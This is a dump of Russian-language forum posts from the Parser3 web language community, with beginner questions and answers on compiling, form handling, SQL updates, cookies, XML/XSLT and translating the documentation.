Vo pervih - pishesh <INPUT TYPE=\"checkbox\" name=\"erasureflag\"  VALUE=\"$inform.AgentID\">\
\
Potom obrabativaesh dannie iz etoy formi : \
#tut napishesh svoyu stroku podklyucheniya\
...\
#a potom\
$erase[$form:tables.erasureflag]\
^if($erase){ \
   ^erase.menu{ \
     ^void:sql{delete from agent where AgentId = '$erase.field'}\
   }\
} \
#i use!\
"
"7901","Как опеределить какой файл загружает пользователь?\
[code]\
^if(def $form:file){ \
   ^form:file.save[binary;$FileName]\
}\
[/code]\
Т.е. нужно что бы $FileName в случае с jpg был\
image.jpg\
\
gif:\
image.zip\
\
и т.д."
"7903","желающие — обращайтесь, помогу"
"7904","ваш configure ошибочно включил\
HAVE_GETRUSAGE\
[пришлите почтой config.log/status, если не жалко]\
\
пока замените HAVE_GETRUSAGE на I_HAVE_STRANGE_CONFIG_PROBLEM"
"7905","первую проблему я поборол методом CFLAGS=-DRUSAGE_SELF=0 ./configure\
\
но вылезла следующая бага:\
\
make[2]: Entering directory `/home/sites/site175/web/tmp/parser-3.0.0005/src/types'\
c++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../classes -I../sql -I../lib/pcre -I../classes/gd      -DRUSAGE_SELF=0 -c pa_vstatus.C\
pa_vstatus.C: In method `class Value * VStatus::get_element(const class String &)':\
pa_vstatus.C:29: aggregate `struct rusage u' has incomplete type and cannot be initialized\
pa_vstatus.C:30: confused by earlier errors, bailing out\
make[2]: *** [pa_vstatus.o] Error 1\
make[2]: Leaving directory `/home/sites/site175/web/tmp/parser-3.0.0005/src/types'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/sites/site175/web/tmp/parser-3.0.0005/src'\
make: *** [all-recursive] Error 1\
\
p.s. мыло услал :)\
"
"7906","У меня есть сумма в виде 215000000. Как мне её преобразовать к виду 215.000.000?\
Я думал через регэкспы (в которых я не очень) - но в моем случае надо обрабатывать строку с конца."
"7907","Ни один уважающий себя носитель языка не будет читать то, что сделано такой связкой ;-)"
"7908","Код читает XML, читает XSL, слегка доделывает его, выполняет преобразование и выводит в броузер. \
\
Вместо этого в броузере появляется текст xsl (tainted). Помогите найти ошибку.\
\
[b]index.html[/b]\
[code]\
$menuXML[^xdoc::load[menu.xml]]\
\
$menuXSLblock[^file::load[text;menu.xsl]]\
$menuXSL[^xdoc::create{\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:template match=\"menu\">\
$menuXSLblock.text\
</xsl:template>\
</xsl:stylesheet>\
}]\
\
$menublock[^menuXML.transform[$menuXSL]] \
\
^menublock.string[ \
    $.method[html] \
    $.indent[no] \
] \
[/code]\
\
[b]menu.xml[/b]\
[code]\
<menu>\
<item name=\"Home\" link=\"/home\" />\
<item name=\"Portfolio\" link=\"/portfolio\" />\
<item name=\"About us\" link=\"/about\" />\
</menu>\
[/code]\
\
[b]menu.xsl[/b]\
[code]\
<xsl:for-each select=\"item\">\
<a><xsl:attribute name=\"href\"><xsl:value-of select=\"@link\" /></xsl:attribute>\
<xsl:value-of select=\"@name\" /></a><br />\
</xsl:for-each>\
[/code]"
"7909","иногда заходите... обновляется кое что :)"
"7910","[code]\
@goodNumber[number_in;divider_in;decimal_divider_in][numberSign;numberParts;numberLeftPart;right_part;numberOut;leftn]\
$numberParts[^number_in.lsplit[.]]\
\
$numberSign(^math:sign($numberParts.piece))\
$numberLeftPart[^eval(^math:abs($numberParts.piece))[%d]]\
\
^if(^numberParts.count[] > 1){\
    ^numberParts.offset(1)\
    $right_part[$numberParts.piece]\
}\
\
^if(^numberLeftPart.length[] > 4){\
        $left_length_mod(^numberLeftPart.length[] % 3)\
        ^if($left_length_mod){\
                $leftn[^numberLeftPart.match[(\\d{$left_length_mod})(\\d*)]]\
                $numberOut[$leftn.1]\
                $numberLeftPart[$leftn.2]\
        }{\
                $numberOut[]\
        }\
        $num(0)\
        $numberOut[${numberOut}^numberLeftPart.match[(\\d{3})][g]{^if($num || def\
$numberOut){^if(def $divider_in){$divider_in}{&nbsp^;}}^num.inc(1)$match.1}]\
}{\
        $numberOut[$numberLeftPart]\
}\
\
$result[^if($numberSign < 0){-}${numberOut}^if(^numberParts.count[] > 1){^if(def\
$decimal_divider_in){$decimal_divider_in}{,}$right_part}]\
[/code]"
"7912","Но позвольте!\
\
Во-первых я очень умный. Поэтому не подумайте, что прежде чем задать вопросы я не проанализировал все имеющиеся материалы. Сделать вывод о вопросе возможности использования Парсера у фирмы-провайдера только на одном сайте без установки его на весь сервер мне не позволяет сейчас недостаток знаний. Потому и спрашиваю. (Прошу понять сразу, я не ламер.)\
\
Я не хочу потратить на изучение Парсера месяц-два, а потом окажется, что его нельзя использовать на одном сайте! У меня нет времени на такую роскошь.\
\
Потому прошу уточнить. (Ходотайствую, можно сказать. Прошу помочь. Ведь у меня на иждивении находится жена и трое несовершеннолетних детей.) \
\
У этого хостера доступ к: FTP, персональному CGI-BIN-каталогу, SSI, логам сервера. Перл использовать можно. Т.е. на моей машине под Windows+Apache я понимаю, что можно исталлировать Парсер и писать сайты. Ибо есть доступ к Apache полный. \
\
Вопрос: скажите что спросить у специалистов хостерской фирмы, чтобы вы определили, что Парсер поставить на один мой сайт можно! Я этот вопрос задам им по телефону.\
\
[Очень надеюсь, что в Лебедевской команде не только Лебедев умный.]\
\
Жду ответ...\
"
"7913","Я имел в виду вот что -- Парсер существует уже с 1997 года (вроде как), а я так и не видел доку ни одной версии на английском. Хотя, возможно, это МНЕ копать нужно было глубже. Но, по крайней мере, за полтора года моего интереса к HTML, CSS и иже с ними, я натыкался только на Perl, PHP и всякие буржуйские прибамбасы.\
\
Что касается текстов размером под мегабайт...\
Я сам по профессии переводчик, препод и редактор, и тексты под мегабайт приходилось переводить тоже, правда мегабайт в HTML и мегабайт в RTF или DOC -- вещи разные... и цены -- тоже, потому как мне за эту работу платили не по 7-8 баксов за страницу, а 20 баксов в месяц (в у.е. эквиваленте) -- вот такие у нас цены...\
Но и потом, направленность была у текстов другая -- общеполитическая без всякой навороченной терминологии...\
\
Я не думал что вызову такое бурное обсуждение, просто у меня был уже прецедент, когда я хотел сделать сайт для преподов с играми для учебного процесса, а на половине набора этих самых игр понял, что все переведенные мною игры попадают под копирайт... и сайт сдох (пока) -- придется перерабатывать игры и делать на их основе что-то другое (хотя на авторство я, упаси бог, не претендую)...\
\
Так и с переводом Парсера -- я начал переводить главу table, а потом задумался -- а стоит ли это делать? С этим вопросом и пришел.\
\
Доку я переведу -- как только отстреляюсь с основными переводами. И дело здесь ВООБЩЕ не в деньгах -- понятно, что мне, любимому никто ничего платить не будет -- я и не расчитываю. Этот перевод для меня, как для человека ленивого, пожалуй, единственный стимул прочитать доку до конца :)\
\
Так что жду только слова \"Поехали!\" и взмаха рукой.\
\
А то тут пошли уже толки о коммерческой эффективности, и вообще куда-то вкривь и вкось, блин... :("
"7914","и не проанализировали все имеющиеся материалы, ибо вы не знаете что запуск CGI скриптов возможен для одного виртуального сайта и не надо для этого парсер ставить на весь сервер."
"7915","Таким образом, можно стартовать осваивать Парсер? И быть уверенным, что у этой хостерской фирмы я смогу установить Парсер? Или возможны какие-то ньансы в настройке?\
\
Нет возможности выбрасывать ресурсы на освоение этой технологии, а потом окажется, что для ее использования нужен собственный сервер (в смысле системный блок)."
"7916","сервер не нужен, работать будет у оочень большого количества хостеров. Тут даже есть специальный раздел о хостингах, вы бы его тоже для начала прочитали."
"7917","У меня нет ни грамма сомнения, что вы компьютерная программа. \
\
А у меня немного не так. Раздел про хостинг я смотрел, ничего полезного там нет. Я живу в городе Красноярск, у меня уже налажен контакт с одной красноярской фирмой-хостером. И других не знаю.\
\
Но, вообщем, я получил ответ на свой вопрос.\
\
Кстати, я считаю, что Парсер это система программирования для интернета следующего поколения. Вот сперва был Перл (галиматья полная). Позже появился PHP, который позволяет легко работать с БД, но там нет средств автоматизации написания сайтов. Это просто универсальная система. Парсер, как я понял, дальше PHP пошел. И видимо за такими системами программирования будущее. Что вы скажите? (Блин, дети лезут мешают...)"
"7919","если я программа, то я польностью пройду тест Тьюринга и заработаю кучу денег, стоит попробовать?"
"7920","Такая трабла, что под вторым парсером html-файлы, генерируемые макросом (в виде _имя.html) не хотят возвращать даты создания/последнего обновления. От этого страдает правильность и логичность индексирования этих страниц в поисковых системах. Не подскажет ли кто-нибудь, что и каким образом нужно добавлять в заголовки файлов, или как с этим бороться? Заранее спасибо."
"7921","уже сейчас есть у каждой статьи поле для ввода комментариев, туда можно вписать перевод, потом мы всё соберём.\
\
есть уже два желающих."
"7923","\"пока замените HAVE_GETRUSAGE на I_HAVE_STRANGE_CONFIG_PROBLEM\"\
\
это в каком файле то поменять ? :)"
"7924","то что мне надо было, я там не нашёл. А нужный мне код я нашёл на фо&#287;уме (спасибо за поиск - &#287;улит, да и только!) - в одной статье, где ты “г&#287;озился” &#287;азместить &#305;тот мак&#287;ос в либ. &#287;. Видно, ты забыл, или по каким-то п&#287;ичинам не &#287;азместил &#305;тот мак&#287;ос.\
\
П. С. А код у тебя  - “вещь” !"
"7925","Считаю, что Парсер это система программирования для интернета следующего поколения. Вот сперва был Перл (галиматья полная). Позже появился PHP, который позволяет легко работать с БД, но там нет средств автоматизации написания сайтов. Это просто универсальная система. Парсер, как я понял, дальше PHP пошел. И видимо за такими системами программирования будущее. Что вы скажите? (Блин, дети лезут "
"7926","Ну это ты загнул всё-таки. Он был написан для людей, не знакомых с программированием. Скажем, для дизайнеров. (Хотя, imho, дизайнерам он не под силу ;-)"
"7927","а не только на Апаче, и во всех браузерах.\
\
П. С. а надо это для того, чтобы создавать временные корзины для е-шопа. Идея такая - заходит юзер на страницу - если юзер не регистред - то все выбранные товары будут писАться в куку. Как видно - куку надо создавать уникальную. Для уникальности и нужен АЙПИ. Или можно создать уникум как-то иначе, и я этого не знаю?!"
"7928","$env:REMOTE_ADDR"
"7930","со своими достоинствами и недостатками. В парсере тоже нету средств автоматизации написания сайтов (сам этот термин полная чушь) а есть удобный язык, помогающий использовать разные парадигмы (идеологии) программирования при создании сайтов. Парсер это объектно-ориентированный язык, в нём есть поддержка XML, работать с БД в нём вообще одно удовольствие."
"7931","Все, что не делается в этом мире - все на благо человечества и  на облегчение жизни нашей. Компы и все, что с ними связано  - тоже. Какой тогда толк от всех этих мегабайтов кода транслейтеров, если они останутся невостребованными?..:)) Если кто-то сидел и псАл эти проги - то надо отдать ему должное. Он такой же, как и мы. И я не вижу причин для антисимпатии к такого рода программам. Я понимаю, что никакой комп рядом не лежал с мозгом человека, но зачем забивать гвозди микроскопом? Пропусти текст через прогу, а затем отредактируй на своё усмотрение. Ведь проводить редакционные работы, помоему, легче, чем сидеть и переводить все с нуля. А в свободное время создавай Парсеры!..:))))"
"7932","называется этот метод конечно иначе, делает уже немного больше..."
"7935","мдя...basename - у меня не идет, т.к. видимо старая версия...\
надо ставить новую, но без групп("
"7938","фухх. нашёл, таки скомпилялось :) спасибо за помощь!"
"7939","НО. Если ты дизайнер, то парсер тебя не спасет.\
Тут нужны навыки программирования накопленные годами,ООП, C/С++, PHP, Java, XSLT. Если с этим ты не был знаком с этим с пеленок, то будет тяжко.\
----------------------------------------------\
[quote]Или может переквалифицироваться в управдомы ?[/quote]\
© О. Бендер"
"7942","Не буду развивать это флейм, ибо:\
Если знаешь язык - проще переводить, чем править каждое второе слово.\
Если не знаешь язык - никогда и не узнаешь, сколько фигни тебе напихали в перевод (и, тем более, никогда не выучишь язык)."
"7944","Если чесно - я тоже за “здоровый” перевод. Но это очень кропотливо, и только от мысли об объеме предстоящих работ, люди не желают браться за это дело ...:))) Мне же надо как можно скорее обзавестись английскими доками по нашему “сокровищу”  - вот я и пытался поднять оптимизм наших “будущих переводчиков”. Мол, это не сложно, и так далее. Я знаю, что такое “переводить доки” - поэтому сам за это дело возмусь с трудом. Хотелось нахаляву - а вы не поддержали..:)))) Смотришь, кто нибудь и взялся бы. А сейчас... виснет наша дока ...\
\
П. С. Привет оптимистам!!"
"7945","Просто Парсер очень помогает сберечь время и силы людям, которые имеют сходное с Paf'овским видение того, каким должно быть вебстроительство. Наличествует сходное направление мыслей - просто нашёлся человек, которому было не лень взять, и эти правильные идеи реализовать в коде, за что ему нижайшие поклоны.\
\
И поэтому парсером просто  легко и удобно пользоваться - уж очень \"по руке\" инструмент. Кто-то, наоборот, им пальцы отбивает, долго ругается и писает кипятком тут в форуме, потом отваливает.\
\
А holy wars нам не надо, плиз ))) Надоело уже от ортодоксальных PHP'шников отбиваться ))))"
"7946","я написал там, что периодически заглядывайте, я библиотеки обновляю.\
\
разве это не очевидно/не логично/не понятно ?"
"7947","на свой страх и риск можно это:\
http://parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi_xml.tar.gz"
"7948","Поддерживаю полностью sanja, так, на грани пафоса, сказать может только очень большой данного языка, впрочем, полагаю, это была просто своеобразная шутка."
"7949","понятно\
\
Только один момент -- там кое-какие проблемы с терминологией кое-где. Я читал доки по Перл на аглицком, так что, в основном, проблем нет. Только в некоторых местах -- я все-таки не так уж много читал док на русском -- только по VB давным-давно... Вы же (т.е. профи-программеры), я думаю, читали доки и на том и на другом языках, так что перевод терминов должны знать...?\
\
Так что, если что я на мыло вопросы буду присылать изредка -- не хочется в форуме мусорить...\
\
ОК?\
\
PS: и еще -- какие статьи УЖЕ переведены?\
\
Ыскренне ВаЖ,\
--\
Ramesses"
"7950","Будет вам и белка... но (замечания от переводчика и редактора или конец базарам :))\
\
Редактура готового перевода для профи-переводчика -- дело еще более кропотливое и трудоемкое, чем сам перевод. Так что, высказыванием типа \"Закиньте все в автобурбулятор а потом правьте\" оптимизма не повысить... увы...\
\
А насчет уважения чужого труда -- того, кто эту прогу горбатил... Нафига тады мне, человеку, чьей основной специальностью является аглицкий язык, учить весь этот ХТМЛ и CSS, если есть такое \"чудо\" техники, как FrontPage? А если сравнивать, то Промт и иже с ними это FrontPage перевода...\
\
Вот и выбирайте, блин...\
\
А вообще, английский -- язык красивый... и учиться никогда не поздно, так что...\
\
Бросайте нафиг Автоматы -- Прощай, оружие!!!\
\
:)))))"
"7951","день добрый.\
письмо пишу на адрес как и указано, куда про сайты писать на парсере сделаные.\
а мне в ответ:\
\"нет у тя прав чтобы этому реципиенту письмо послать, акцесс тебе динайд\".....\
шо такэ? (\
на сервер и т.д. не грешить ;) почта бегает лихо ;) 15000 в месяц писем у меня через сервер пробегает %))))"
"7952","не работает paser3 на Red Hat Linux release 6.1 (Zoot)\
Apache/1.3.22 хостинг mastak.ru\
сайт http://www.transplantation.ru\
\
Начну собственно с вопросов: куда дальше двигаться, и почему не\
пишутся логи в error.log, все вплоть до прав сделано согласно\
http://parser.ru/forum/?id=5602\
к логам своего сервера я доступ имею, но там 2.5 мб только\
error.log весит, обнулять из-за системы бэкап-ов большого\
смысла, говорят, его нет и что самое противное,\
раскидываются логи он по всем пользователям раз или два в\
сутки (т.е. ко мне они дописываются с задержкой минимум в\
полдня)\
\
сейчас:\
parser скомпилирован согласно, http://parser.ru/forum/?id=7904\
с отключением в pa_config_auto.h HAVE_GETRUSAGE\
у меня прав админа нет\
\
когда в .htaccess\
[code]\
AddHandler parsed-html html\
Action parsed-html /parser/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
SetEnv CGI_PARSER_CONFIG /parser/auto.p\
[code]\
\
кажет:\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
Please contact the server administrator, ttt ...\
\
т.е. берет его этот Unhandled Exception из конфигурационного\
auto.p\
\
после отключения SQL в конфигурационном auto.p (я просто\
написал $SQL[], закоментировав остальное), а равно и\
при комментировании #SetEnv CGI_PARSER_CONFIG /parser/auto.p)\
кажет:\
ELF\
"
"7956","хотя программированием увлекался еще с 6 класса на бк_ашках)..потом бейсики..паскакали.......\
Но не привелось...и жизнь повела немного по другой дороге...\
Но фиг,...Хотя я не знаю php,.яву оч. мало, но сам парсер почему то очень близок)..гм..."
"7957","Возможно я это упустил, но...\
\
Хотелось бы иметь возможность писать в error_log.\
Или, тоже самое, создавать warn'инги, которые посылаются на некое подобие stderr.\
\
Контроль значений переменных бывает ой как необходим... :)\
\
В процессе отладки эта возможность удобнее, чем на скорую руку создаваемые try-catch блоки.\
Да и всю информацию трудно выжать..."
"7958","А как он к вам попадает?\
http://ordb.org/lookup/?host=cardio.tsu.ru\
и\
http://ordb.org/lookup/rbls/?host=cardio.tsu.ru\
всё чисто, и не был он там у меня. по крайней мере с момента как я сюда работать пришел и все настроил, а было это в феврале этого года.\
ок, пошлю с другого адреса.\
"
"7959","... [url=\"/forum/?id=5602\"]это сообщение ([i]* где лог ошибок, PAF [22.08 11:26][/i])[/url] поможет? "
"7960","пока есть только одна, пишите в комментарий к статье, комментарий показывать по мере прочтения."
"7961","кто объяснит, зачем в язык добавлять то, что уже можно выразить его средствами? {риторический?}\
\
[code]\
^log[мой тип;мое сообщение]\
\
@log[type;message]\
$now[сейчас]\
$line[[$now] $type $message]\
^line.save[append;user.log]\
[/code]"
"7962","К сожалению -- нет.\
Одно дело, когда сам парсер пишет про твои ошибки, другое -- ты сам хочешь писать что-то, например, значения переменных.\
:)"
"7963","Действительно, очевидно :)\
\
Проблема, пожалую общая. \
Привыкаешь к наличию встроенных конструкциях в других языках. \
[code]\
warn \"$var\";\
[/code]\
в mod_perl'е, например...\
\
Как всегда, трудно привыкнуть к новому.\
Пошевелить чем-нибудь :)"
"7964","Здравствуйте, ув Egr.\
\
Когда то Вы обещали рассказать (в статье про хлебные крошки) как же парсером генерировать xml автоматически для промежуточных целей. \
\
Не помешается в голове этот xml, досадно становится, когда понимаешь что забиваешь гвозди микроскопом. Или может присоветуете, где про xml внятно написано, потому как я понимаю, что важно отделять структуту от содержания и \"все такое\", но ведь позитивного ничего не делается (не в смысле нежелания, а в смысле отсуттствия понимания). Вот и топчусь вокруг да около. \
\
-- \
С уважением organic"
"7965","например в примере Миши про построение деревьев http://parser.ru/examples/trees/ Мой код, который формирует древовидный XML очень похож на тот, который формируется в примере. Я конечно могу послать тебе код по мейлу, но ты вряд ли его поймешь, но если хошь то пошлю :)"
"7966","Задача.\
Необходимо реализовать некий каталог изделий.\
Каталог поделен на несколько разделов.\
Нужно выводить изделия конкретного раздела, а также, отдельно -- изделия-новинки со всех разделов.\
Ориентировочный максимум изделий: 1000 -- 1500.\
Каждое изделие описывает 4--5 не больших строковых полей (до 20 символов).\
\
Идея.\
Хранить каталог в виде одного большого XML-файла. \
Читать его, через XSLT или DOM делать запросы на выборку: принадлежность изделий к каталогу, осуществлять их сортировку.\
\
XML vs. DB.\
У XML'я есть несколько преимуществ. \
Редактировать можно легко, в интерефейсе MS Office. \
И, очень важно, у наполнителя-администратора нет постоянного доступа к интернету: веб-интерфейс не совсем пригоден. Один XML-файл заливается -- и вся база обновлена.\
Кроме того -- данные можно легко привести-трансформировать к любому виду.\
\
Недостатки -- производительность, \"тяжелость\" обработки не маленького файла.\
\
\
\
На сколько я знаю, гораздо эффективнее с парсингом/обработкой больших xml-файлов работает SAX... по сравнениею с XSLT и DOM.\
\
Хотелось бы узнать, есть возможность использовать SAX в Парсере? Такая возможность была бы очень, думается, оправдана.\
Кроме того, архитектура Парсера вроде-бы позволяет использовать событийную модель (через try-catch) -- необходимую для  SAX'а.\
\
Буду, конечно, рад узнать об альтернативных вариантах работы с большими XML-файлами в указанном контексте.\
\
Спасибо."
"7967","Спасибо, Ваших кодов мне наверное, действительно не разобрать (сразу, имею в виду). Статью Миши я разумеется читал, и что то даже получалось. \
\
Мне другого хочется. Вершков нахвататься лего, а вот самому разобраться, но доходчиво (образование хотя и высшее, но совсем не компъютерное, а сайт нужен..). Вычитвать тексты на W3, это было бы правильнее всего, но время.., которго не хватает на основной род деятельности.\
\
А от того что Вы расскозываете иногода мурашки ползатют -- от понимания того как же это все круто и правиль но вот для не небожитлей совсем не доступно. \"Такие дела\".\
\
Может, какой ликбез присоветуете. \
\
--\
С уважением organic\
"
"7968","Я имею ввиду - может ли он их исправлять, добавлять и тд? Над обычними куками можно поиздеваться, а над сессионными (или сессийными, или как там правильно..:)))...)"
"7969","по поводу следующего высказывания:\
[quote]\
И, очень важно, у наполнителя-администратора нет постоянного доступа к интернету: веб-интерфейс не совсем пригоден. Один XML-файл заливается -- и вся база обновлена.\
[/quote]\
В случае с БД такой фокус тоже возможен - делаешь дамп базы на локальной машине, ложишь его на сервер и восстанавливаешь его на сервере."
"7970","Для этого стоит прочитать книжку \"Введение в XML\" автор Д. Хантер, Издательство Лори. Далее после прочтения этой книжки, достаточно прочитать книжку по XSLT - \"XSTL 2-издание\" автор М. Кэй, Издательство Символ-Плюс."
"7971","Допустим, я вынул из дату БД в таблицу. Я знаю, что вытянута 1 запись. Могу ли я обратится к полям таблицы без построчного перебора? То есть, просто написать $таблица. поле безо всяких там ^таблица. меню{}. Если это возможно - то я буду очень рад - не хочется для одной строки вызывать ^х. меню{}"
"7972","Самый простой способ - юзать ^if(^table.locate[]){то делаем что-то}"
"7973","а имеет ли программер \"контроль\" над переменными и их значениями ... ? :)\
С куками можно выполнять всего навсего 3 опрерации:\
1. создавать\
2. записывать в них что-то\
3. считывать из них, что было записано раньше\
(и этих 3-х операций вполне достаточно в реальной жизни простым смертным)\
\
\"Сессийные\" куки сами удаляются, т.ч. операция удаления здесь и нафиг не нужна (Чем сначала удалять куку, а потом создавать новую с тем же именем, так не проще ли в старую записать новое значение).\
\
И всё, больше никаких \"издевательств\" над куками не существует!\
"
"7974","может ли посетитель прийти ко мне на сайт со своей сессионной кукой? Под “юзером” я имел ввиду не хозяина сайта, а посетителя."
"7979","самому слабо было поробовать написать несколько строчек и посмотреть, что выдаст. Например, такие:\
\
@main[]\
$men[^table::create{name	age\
Serge	26\
Alex	20\
Mishka	29\
}] \
$men.name <br>\
$men.age <br>\
\
Выведет первую запись, а .menu это по сути цикл."
"7980","Создаю хэш содержащий значения полей формы\
[code]$hash[$form:fields][/code]\
\
Пытаюсь вывести значения\
[code]\
^hash:fields[field;value]{\
$field - $value\
}[<br>]\
[/code]\
а не выходит каменный цветок. Опять Данила-мастер облажался.\
Помогите."
"7982","А в чем проблема? Сидел какой-то пользователь на бог знает каком сайте и тот сайт создал ему сессионную куку с именем userName111 и записал туда \"Здесь был Вася\". Тут же (не закрывая все окна браузера) заходит он на твой сайт, а твой скрипт обращается к его сессионной куке userName111 и считывает из неё \"Здесь был Вася\".\
Усё работает, куки для этого и придуманы."
"7983","Так тоже не работает\
[code]\
$hash[$form:fields]\
\
^hash:fields.foreach[field;value]{\
$field - $value\
}[<br>]\
[/code]"
"7984","Разницу видишь?\
Ты уже сделал хеш... Над ним и измывайся...\
\
Кроме того, если-бы ты посмотрел в доку, то увидел-бы много интересного:\
\
http://parser.ru/docs/lang/formfields.htm"
"7985","куки привязываются к домену (обычно)...\
\
другое дело что вася может подправить броузер или зайти телнетом и написать в заголовке все, что ему захочется..."
"7989","а вообще самого оптимального решения не существует и чем раньше это поймешь, тем легче жить станет :)"
"7990","У меня форма имеет такой вид:\
pole1  pole2 pole3 flag\
pole1  pole2 pole3 flag\
pole1  pole2 pole3 flag\
pole1  pole2 pole3 flag\
pole1  pole2 pole3 flag\
pole1  pole2 pole3 flag\
\
Такая конструкция \
[code]\
$form[$form:fields]\
\
^form:fields.foreach[field;value]{\
	$field - $value\
}[<br>]\
[/code]\
выводит только одну строку формы со значениями полей, а каким образом перебрать все поля\
"
"7991","Зачем ты пишешь постоянно это: $form[$form:fields]?\
\
я не очень понял, что у тебя за форма... как приходят данные...\
\
есди у тебя каждый ключ может прийти несколько раз то не выводи $value, а выводи так:\
[code]\
^form:fields.foreach[field;value]{\
$field:\
all values: $lt[$form:tables.[$key]]^lt.menu{$lt.field}[,]\
}[<br />]\
[/code]\
\
в общем скомбинируй две главы доки:\
http://parser.ru/docs/lang/formfields.htm\
http://parser.ru/docs/lang/formtables.htm\
\
и научись формулировать на человеческом языке что ты хочешь получить... уже тред не вмещается на страницу, а я (наверно не только я) так и не понял чего-же ты хочешь добиться ;)))"
"7993","Есть: загружается таблица из БД и значения подставляются в поля формы.\
\
[code]\
^connect[$connect_string]{\
	$inform[^table::sql{select\
			AgentID, FirstName, LastName, PIN\
	from\
			Agent\
		\
			}]\
\
\
<form method=\"post\">\
^if($inform){\
<table>\
<tr>\
    <td><b>ID</b></td>\
    <td><b>Имя</b></td>\
    <td><b>Фимилия</b></td>\
    <td><b>PIN</b></td>\
    <td><b>Действие</b></td>\
</tr>\
\
    ^inform.menu{\
      <tr><td>$inform.AgentID</td>\
      <td><INPUT TYPE=\"text\" NAME=\"pole1\" VALUE=\"$inform.FirstName\" SIZE=\"14\" MAXLENGTH=\"25\"></td>\
      <td><INPUT TYPE=\"text\" NAME=\"pole2\" VALUE=\"$inform.LastName\" SIZE=\"14\" MAXLENGTH=\"25\"></td>\
      <td><INPUT TYPE=\"text\" NAME=\"pole3\" VALUE=\"$inform.PIN\" SIZE=\"10\" MAXLENGTH=\"10\"></td>\
      <td><SELECT NAME=\"flag\"><OPTION value=\"NULL\">&nbsp</OPTION><OPTION value=\"R$inform.AgentID\">Обновить</OPTION><OPTION value=\"D$inform.AgentID\">Удалить</OPTION></SELECT></td>\
\
</tr>\
		}\
	}{	\
<b>Ничего не найдено...</b><br>\
	}\
}\
</table>\
<br><INPUT TYPE=\"submit\" NAME=\"Submit\" VALUE=\"Применить\">\
</form>\
[/code]\
\
Нужно: перебрать значения полей формы и в зависимости от поля flag сделать необходимые изменения в БД (либо удалить либо апдейт)\
\
Вот так. Может быть делаю слишком тупо. Извини Михалыч за настырность ...\
\
\
\
\
\
"
"7994","Оптимальное решение есть, ибо к чему движение наше ? П.Нортон : \"Программа никогда не бывает закончена, но желательно где-то остановиться\".\
Но не буду вдаваться в философию.\
2 agat : IMHO в форум пишут, после того как опробованы все методы и перечитана документация.\
================ Parser help =================\
$таблица.поле    \
Возвращает содержимое столбца поле из текущей строки таблицы. \
==============================================\
Обрати внимание на слово \"текущей\". В твоем случае текущая = первая."
"7995","[code]\
^connect[$connect_string]{\
$inform[^table::sql{\
	SELECT\
		AgentID,\
		FirstName,\
		LastName,\
		PIN\
	FROM\
		Agent\
}]\
\
<form method=\"post\">\
^if($inform){\
	<table>\
	<tr>\
	    <td><b>ID</b></td>\
	    <td><b>Имя</b></td>\
	    <td><b>Фимилия</b></td>\
	    <td><b>PIN</b></td>\
	    <td><b>Действие</b></td>\
	</tr>\
	^inform.menu{\
		<tr><td>$inform.AgentID</td>\
			<td><INPUT TYPE=\"text\" NAME=\"pole1_$inform:AgentID\" VALUE=\"$inform.FirstName\" SIZE=\"14\" MAXLENGTH=\"25\"></td>\
			<td><INPUT TYPE=\"text\" NAME=\"pole2_$inform:AgentID\" VALUE=\"$inform.LastName\" SIZE=\"14\" MAXLENGTH=\"25\"></td>\
			<td><INPUT TYPE=\"text\" NAME=\"pole3_$inform:AgentID\" VALUE=\"$inform.PIN\" SIZE=\"10\" MAXLENGTH=\"10\"></td>\
			<td><SELECT NAME=\"flag_$inform:AgentID\"><OPTION value=\"NULL\">&nbsp</OPTION><OPTION value=\"R\">Обновить</OPTION><OPTION value=\"D\">Удалить</OPTION></SELECT></td>\
		</tr>\
	}\
}{\
	<b>Ничего не найдено...</b><br>\
}\
}\
</table>\
<br><INPUT TYPE=\"submit\" NAME=\"Submit\" VALUE=\"Применить\">\
</form>\
[/code]\
\
Дальше надо объяснять?\
Бежишь по всем записям, смотришь на $form:[flag_$inform:AgentID] и в зависимости от него делаешь что надо...\
При таком раскладе ты не имеешь кучи элементов формы с одинаковыми именами.\
\
P.S. Я не Михалыч, я Викторович."
"7996","... только мне не понятно, зачем agat-у все эти навороты нужны, для общего развития что ли - ну тогда это похвально :)!"
"7997","Здравствуйте.\
\
Такая вот идея: хочу организовать своего рода управление контентом сайта. Странице на сайте состоят из двух шаблонов (макетов). [i]Файловая структура такая:[/i]\
\
[code] \
/\
| _____ auto.p\
| _____ index.html\
| _____ index.txt\
| _____ about/\
|            | _____ index.html\
|            | _____ index.txt\
|            | _____ resume.html\
|            | \
[/code]\
\
Цель: использовать один auto.p на один шаблон, при этом без использования базы данных обеспечить изменение основного текста на страницах. \
\
Реализация: не принимая во внимание второй шаблон (для одной страницы), сначала я написал код для основного шаблона в корневом auto.p. \
\
В auto.p в месте где нужно вставлять текст вызывается ^maintext[], который определяется в в самом auto.p следующим образом:\
\
[code]\
@maintext[]\
$textfile[^file:justname[$request:uri].txt]\
$textfile.text\
[/code]\
\
Т.е. текст хранится в файлах [i][b]имя_html_файла[/b].txt[/i]. Чтобы взять оттуда текст я определяю название текущего html файла и добавляю .txt, затем уже из, к примеру index.txt беру текст.\
\
Т.к. нет базы данных,а в кодах потом лазать не особо хочется, используются текстовые файлы, чтобы в дальнейшем создать \"админский\" раздел для изменения этих текстовых файлов при помощи методов класса file и формочек.\
\
Что не получается: не работает [b]^file:justname[$request:uri][/b].\
\
Предложения и просьба: \
\
1. вообще в целом логика нормальная или можно/нужно идти другими способами;\
2. думал использовать регулярные выражания и с помощью match работать, но так как я дилетант пока в этом деле, подскажите как действовать.\
\
Итог: до сих пор в голову не приходит другие идеи по созданию \"интерфейса\" для изменения контента без использования базы, без непосредственной работы с кодом и без использования фтп.\
\
С уважением,\
\
Baurjan.\
\
----------\
P.S. Может быть некоторые высказывания покажутся совсем дилетантскими, все учаться когда-то :). "
"7998","Я положил файл parser3.exe в директорию cgi-bin на моем сервере Apache (у меня английская версия 1.3.12). \
В конфигурационный файл httpd.conf из директории conf я добавил строки\
AddType parsed-html .htm\
Action parsed-html /cgi-bin/parser3.exe\
